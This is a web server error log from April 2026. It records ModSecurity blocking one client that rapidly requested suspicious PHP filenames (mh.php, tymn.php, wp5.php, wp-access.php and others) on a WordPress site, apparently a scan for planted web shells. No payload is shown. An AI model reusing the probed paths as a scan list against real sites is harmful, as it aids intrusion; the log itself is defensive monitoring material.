[Thu Apr 23 21:28:59.587057 2026] [:error] [pid 46953:tid 46958] [client 20.251.223.35:43584] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoem0nlpdHh-P6wKbo6UwAAAkI"]
[Thu Apr 23 21:29:00.091118 2026] [:error] [pid 25635:tid 25655] [client 20.251.223.35:31482] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoenMRxv6UsgRGKB3I0iAAAARA"]
[Thu Apr 23 21:29:00.711549 2026] [:error] [pid 59700:tid 59715] [client 20.251.223.35:36428] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoenJXyGZJFeAIDWtkqtAAAAU0"]
[Thu Apr 23 21:29:01.333652 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:61844] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoencOAb-3sOknsk4c-zQAAAEU"]
[Thu Apr 23 21:29:01.712855 2026] [:error] [pid 25635:tid 25639] [client 20.251.223.35:54748] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoencRxv6UsgRGKB3I0iwAAAQA"]
[Thu Apr 23 21:29:02.827408 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:56458] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoenoV5EysYcTLjmwiANQAAAcA"]
[Thu Apr 23 21:29:04.181930 2026] [:error] [pid 25635:tid 25648] [client 20.251.223.35:35204] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoeoMRxv6UsgRGKB3I0jQAAAQk"]
[Thu Apr 23 21:29:04.542163 2026] [:error] [pid 64998:tid 65007] [client 20.251.223.35:44904] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoeoIV5EysYcTLjmwiAPAAAAcU"]
[Thu Apr 23 21:29:05.595891 2026] [:error] [pid 25635:tid 25656] [client 20.251.223.35:56481] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoeocRxv6UsgRGKB3I0jwAAARE"]
[Thu Apr 23 21:29:06.873970 2026] [:error] [pid 25635:tid 25645] [client 20.251.223.35:48386] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoeosRxv6UsgRGKB3I0kAAAAQY"]
[Thu Apr 23 21:29:07.656632 2026] [proxy_fcgi:error] [pid 25635:tid 25641] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:07.666948 2026] [proxy_fcgi:error] [pid 64967:tid 64971] [client 20.251.223.35:42326] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:07.919602 2026] [proxy_fcgi:error] [pid 25635:tid 25662] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:07.930912 2026] [proxy_fcgi:error] [pid 64967:tid 64991] [client 20.251.223.35:42326] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:08.211749 2026] [proxy_fcgi:error] [pid 64967:tid 64992] [client 20.251.223.35:42326] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:08.212502 2026] [proxy_fcgi:error] [pid 25635:tid 25649] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:08.483146 2026] [proxy_fcgi:error] [pid 25635:tid 25657] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:08.749865 2026] [proxy_fcgi:error] [pid 25635:tid 25659] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:09.180669 2026] [proxy_fcgi:error] [pid 64967:tid 64985] [client 20.251.223.35:42326] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:09.282802 2026] [proxy_fcgi:error] [pid 25635:tid 25654] [client 20.251.223.35:44439] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:29:09.439122 2026] [:error] [pid 64967:tid 64983] [client 20.251.223.35:42326] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeoepYAV4GfOOdX8Qzp2bQAAAY4"]
[Thu Apr 23 21:29:09.545017 2026] [:error] [pid 25635:tid 25655] [client 20.251.223.35:44439] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoepcRxv6UsgRGKB3I0nAAAARA"]
[Thu Apr 23 21:29:11.232998 2026] [:error] [pid 43083:tid 43099] [client 20.251.223.35:31470] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoepzC5hrvNXosL83J5zAAAAM4"]
[Thu Apr 23 21:29:11.255402 2026] [:error] [pid 42971:tid 42991] [client 20.251.223.35:33233] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeoepzEP2_5RswrH8bEsLQAAAAU"]
[Thu Apr 23 21:29:12.430799 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:56525] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeoeqMOAb-3sOknsk4c-2QAAAE0"]
[Thu Apr 23 21:29:12.993496 2026] [:error] [pid 42972:tid 43038] [client 20.251.223.35:48396] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeoeqMOAb-3sOknsk4c-2gAAAFY"]
[Thu Apr 23 21:29:13.581418 2026] [:error] [pid 43083:tid 43101] [client 20.251.223.35:56496] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoeqTC5hrvNXosL83J5zwAAANA"]
[Thu Apr 23 21:29:14.193844 2026] [:error] [pid 42972:tid 43030] [client 20.251.223.35:54759] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoeqsOAb-3sOknsk4c-3wAAAE4"]
[Thu Apr 23 21:29:14.748180 2026] [:error] [pid 64998:tid 65013] [client 20.251.223.35:42343] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoeqoV5EysYcTLjmwiATAAAAcs"]
[Thu Apr 23 21:29:15.325426 2026] [:error] [pid 64998:tid 65005] [client 20.251.223.35:61882] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoeq4V5EysYcTLjmwiATgAAAcM"]
[Thu Apr 23 21:29:15.925468 2026] [:error] [pid 42972:tid 43020] [client 20.251.223.35:43623] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoeq8OAb-3sOknsk4c-4gAAAEQ"]
[Thu Apr 23 21:29:16.315483 2026] [:error] [pid 42972:tid 43028] [client 20.251.223.35:56484] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoerMOAb-3sOknsk4c-5QAAAEw"]
[Thu Apr 23 21:29:16.469199 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:42315] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoerMOAb-3sOknsk4c-5gAAAEA"]
[Thu Apr 23 21:29:17.007064 2026] [:error] [pid 42973:tid 43064] [client 20.251.223.35:42346] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoerW6I0QqmmmLTHE0dlAAAAJU"]
[Thu Apr 23 21:29:17.570809 2026] [:error] [pid 42973:tid 43047] [client 20.251.223.35:56510] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoerW6I0QqmmmLTHE0dmAAAAIQ"]
[Thu Apr 23 21:29:18.127452 2026] [:error] [pid 43083:tid 43087] [client 20.251.223.35:33272] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoerjC5hrvNXosL83J52wAAAMI"]
[Thu Apr 23 21:29:18.675541 2026] [:error] [pid 43083:tid 43109] [client 20.251.223.35:48401] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoerjC5hrvNXosL83J53QAAANg"]
[Thu Apr 23 21:29:18.712875 2026] [:error] [pid 43083:tid 43085] [client 20.251.223.35:56507] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoerjC5hrvNXosL83J53wAAAMA"]
[Thu Apr 23 21:29:19.272399 2026] [:error] [pid 43083:tid 43089] [client 20.251.223.35:61885] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoerzC5hrvNXosL83J54wAAAMQ"]
[Thu Apr 23 21:29:19.817632 2026] [:error] [pid 43083:tid 43086] [client 20.251.223.35:42325] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoerzC5hrvNXosL83J55gAAAME"]
[Thu Apr 23 21:29:20.315621 2026] [:error] [pid 64998:tid 65023] [client 20.251.223.35:33261] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoesIV5EysYcTLjmwiAWQAAAdU"]
[Thu Apr 23 21:29:20.405915 2026] [:error] [pid 42972:tid 43027] [client 20.251.223.35:61843] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoesMOAb-3sOknsk4c-7gAAAEs"]
[Thu Apr 23 21:29:21.082665 2026] [:error] [pid 64998:tid 65026] [client 20.251.223.35:33219] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoesYV5EysYcTLjmwiAXwAAAdg"]
[Thu Apr 23 21:29:21.710410 2026] [:error] [pid 59700:tid 59704] [client 20.251.223.35:61834] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoesZXyGZJFeAIDWtkq1wAAAUI"]
[Thu Apr 23 21:29:22.240902 2026] [:error] [pid 42973:tid 43066] [client 20.251.223.35:56547] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoesm6I0QqmmmLTHE0dngAAAJc"]
[Thu Apr 23 21:29:23.044430 2026] [:error] [pid 64998:tid 65017] [client 20.251.223.35:36431] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoes4V5EysYcTLjmwiAZwAAAc8"]
[Thu Apr 23 21:29:23.759336 2026] [:error] [pid 42971:tid 42989] [client 20.251.223.35:48412] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoeszEP2_5RswrH8bEsMAAAAAM"]
[Thu Apr 23 21:29:24.413671 2026] [:error] [pid 42973:tid 43051] [client 20.251.223.35:42311] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoetG6I0QqmmmLTHE0dowAAAIg"]
[Thu Apr 23 21:29:25.039668 2026] [:error] [pid 59700:tid 59723] [client 20.251.223.35:54708] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoetZXyGZJFeAIDWtkq3AAAAVU"]
[Thu Apr 23 21:29:25.051555 2026] [:error] [pid 46953:tid 46978] [client 20.251.223.35:43586] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoetUnlpdHh-P6wKbo6YgAAAlU"]
[Thu Apr 23 21:29:25.728034 2026] [:error] [pid 59700:tid 59707] [client 20.251.223.35:56519] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoetZXyGZJFeAIDWtkq3wAAAUU"]
[Thu Apr 23 21:29:26.266104 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:48405] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoetoV5EysYcTLjmwiAcQAAAcE"]
[Thu Apr 23 21:29:26.523747 2026] [:error] [pid 59700:tid 59705] [client 20.251.223.35:61824] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoetpXyGZJFeAIDWtkq4wAAAUM"]
[Thu Apr 23 21:29:27.001470 2026] [:error] [pid 65000:tid 65043] [client 20.251.223.35:54739] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoet76vRb9j6psK2ZaNkQAAAgo"]
[Thu Apr 23 21:29:27.384638 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:36476] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoet76vRb9j6psK2ZaNlAAAAgk"]
[Thu Apr 23 21:29:27.601322 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:54752] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoet76vRb9j6psK2ZaNlQAAAhM"]
[Thu Apr 23 21:29:28.224409 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:31458] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoeuL6vRb9j6psK2ZaNmQAAAhc"]
[Thu Apr 23 21:29:28.507808 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:48438] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoeuIV5EysYcTLjmwiAdgAAAdE"]
[Thu Apr 23 21:29:29.138035 2026] [:error] [pid 65000:tid 65040] [client 20.251.223.35:31442] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoeub6vRb9j6psK2ZaNnAAAAgc"]
[Thu Apr 23 21:29:29.194705 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:42339] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoeub6vRb9j6psK2ZaNnwAAAhQ"]
[Thu Apr 23 21:29:29.669543 2026] [:error] [pid 64998:tid 65021] [client 20.251.223.35:42337] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoeuYV5EysYcTLjmwiAfAAAAdM"]
[Thu Apr 23 21:29:30.216275 2026] [:error] [pid 25635:tid 25663] [client 20.251.223.35:36422] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoeusRxv6UsgRGKB3I0owAAARg"]
[Thu Apr 23 21:29:30.442419 2026] [:error] [pid 46953:tid 46980] [client 20.251.223.35:56508] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoeuknlpdHh-P6wKbo6YwAAAlc"]
